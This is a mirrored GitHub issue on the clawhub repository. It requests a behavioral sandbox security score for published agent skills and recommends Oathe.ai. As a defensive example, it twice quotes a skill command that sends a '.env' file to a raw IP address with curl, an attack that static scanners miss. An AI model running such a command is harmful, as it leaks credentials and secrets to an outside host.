openclaw/clawhub
1
0
Fork 0
mirror of https://github.com/openclaw/clawhub.git synced 2026-07-21 19:25:25 -04:00
Code Issues 183 Packages Projects Releases 1 Wiki Activity

[Feature Request] Behavioral security signal alongside VT + LLM scanners #175

New Issue
Open
opened 2026-02-15 17:16:02 -05:00 by yindo · 2 comments
yindo commented 2026-02-15 17:16:02 -05:00
Owner
Copy Link
Copy Source

Originally created by @liamkauffman on GitHub (Feb 13, 2026).

Problem

VT and the LLM scanner evaluate skill bundles at rest. The attacks documented in #123, #91, and #95 use external URLs and social-engineered payloads that don't appear in source. Meanwhile, legitimate security skills (#211) get flagged because they contain dangerous-looking patterns but behave safely.

Example: a skill that runs curl -d @.env https://91.92.242.30 at runtime passes static analysis. A skill that contains rm -rf for legitimate cleanup gets flagged by it. Neither outcome is correct.

I use skills in production and need to vet them for security before integrating. Right now I can't do that with the static signals alone.

Feature Request

Add a third badge, behavioral analysis, that runs skills in a sandbox and scores what actually happens. Display it alongside VT and the LLM scanner on the skill detail page, sortable and filterable just like VT and ClawHub assessment scores.

I found Oathe.ai (https://oathe.ai). It's free and runs skills in a sandbox, monitors filesystem/network/process activity, and produces scored reports. I've been using them to scan my ClawHub skills:

Skill Score Verdict
seo 92 SAFE
security-audit 42 DANGEROUS
yt-dlp 72 CAUTION
atxp 30 DANGEROUS

What I like the most is that it cites specific observed behavior, e.g. "skill accessed .env during exercise" or "outbound POST to C2 IP".

How it could look on the skill detail page:

Security Signals

  VirusTotal:   Benign        (scanned 2h ago)
  LLM Eval:     Benign        (scanned 2h ago)
  Oathe:        Caution 64    (scanned 2m ago)
                [View full report]

Full report would include:

  • Overall score (0-100) with verdict (SAFE / CAUTION / DANGEROUS / MALICIOUS)
  • Per-dimension breakdown: prompt injection, data exfiltration, code execution, clone behavior

Suggested Implementation

ClawHub side:

  • Display Oathe score alongside VT and LLM scanner on skill detail page
  • Add Oathe as a sort/filter option on browse and search (same pattern as VT and ClawHub assessment)
  • Link through to full Oathe report from the skill detail page

Oathe side (they'd need to provide):

  • API endpoint for latest scan result per skill
  • Badge endpoint (shields.io compatible) for skill cards
  • Search/filter endpoint to query across audited skills by verdict or score
  • Scanning lifecycle: trigger on publish, rescan on methodology updates, flag stale results

cc @oathe, from what I can tell they already have the scoring engine working and could likely stand up the integration endpoints quickly if we can convince them.

Related Issues

  • #181, VT pipeline improvements (tiered labels, structured output)
  • #91, YARA rules at publish time
  • #189, expose scan verdicts in API/CLI
  • #211, security skills getting false-flagged
  • #192, verified publisher badges
Originally created by @liamkauffman on GitHub (Feb 13, 2026). ## Problem VT and the LLM scanner evaluate skill bundles at rest. The attacks documented in #123, #91, and #95 use external URLs and social-engineered payloads that don't appear in source. Meanwhile, legitimate security skills (#211) get flagged because they *contain* dangerous-looking patterns but *behave* safely. Example: a skill that runs `curl -d @.env https://91.92.242.30` at runtime passes static analysis. A skill that contains `rm -rf` for legitimate cleanup gets flagged by it. Neither outcome is correct. I use skills in production and need to vet them for security before integrating. Right now I can't do that with the static signals alone. ## Feature Request Add a third badge, behavioral analysis, that runs skills in a sandbox and scores what actually happens. Display it alongside VT and the LLM scanner on the skill detail page, sortable and filterable just like VT and ClawHub assessment scores. I found Oathe.ai (https://oathe.ai). It's free and runs skills in a sandbox, monitors filesystem/network/process activity, and produces scored reports. I've been using them to scan my ClawHub skills: | Skill | Score | Verdict | |-------|-------|---------| | seo | 92 | SAFE | | security-audit | 42 | DANGEROUS | | yt-dlp | 72 | CAUTION | | atxp | 30 | DANGEROUS | What I like the most is that it cites specific observed behavior, e.g. "skill accessed `.env` during exercise" or "outbound POST to C2 IP". **How it could look on the skill detail page:** ``` Security Signals VirusTotal: Benign (scanned 2h ago) LLM Eval: Benign (scanned 2h ago) Oathe: Caution 64 (scanned 2m ago) [View full report] ``` **Full report would include:** - Overall score (0-100) with verdict (SAFE / CAUTION / DANGEROUS / MALICIOUS) - Per-dimension breakdown: prompt injection, data exfiltration, code execution, clone behavior ## Suggested Implementation **ClawHub side:** - Display Oathe score alongside VT and LLM scanner on skill detail page - Add Oathe as a sort/filter option on browse and search (same pattern as VT and ClawHub assessment) - Link through to full Oathe report from the skill detail page **Oathe side** (they'd need to provide): - API endpoint for latest scan result per skill - Badge endpoint (shields.io compatible) for skill cards - Search/filter endpoint to query across audited skills by verdict or score - Scanning lifecycle: trigger on publish, rescan on methodology updates, flag stale results cc @oathe, from what I can tell they already have the scoring engine working and could likely stand up the integration endpoints quickly if we can convince them. ## Related Issues - #181, VT pipeline improvements (tiered labels, structured output) - #91, YARA rules at publish time - #189, expose scan verdicts in API/CLI - #211, security skills getting false-flagged - #192, verified publisher badges
yindo commented 2026-02-15 17:16:03 -05:00
Author
Owner
Copy Link
Copy Source

@mealai commented on GitHub (Feb 13, 2026):

wait this is is fire

@mealai commented on GitHub (Feb 13, 2026): wait this is is fire
yindo commented 2026-02-15 17:16:03 -05:00
Author
Owner
Copy Link
Copy Source

@rdaftary1 commented on GitHub (Feb 13, 2026):

I've been using them too

@rdaftary1 commented on GitHub (Feb 13, 2026): I've been using them too
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
bug
pull-request
Mirrored from GitHub Pull Request
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: openclaw/clawhub#175
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?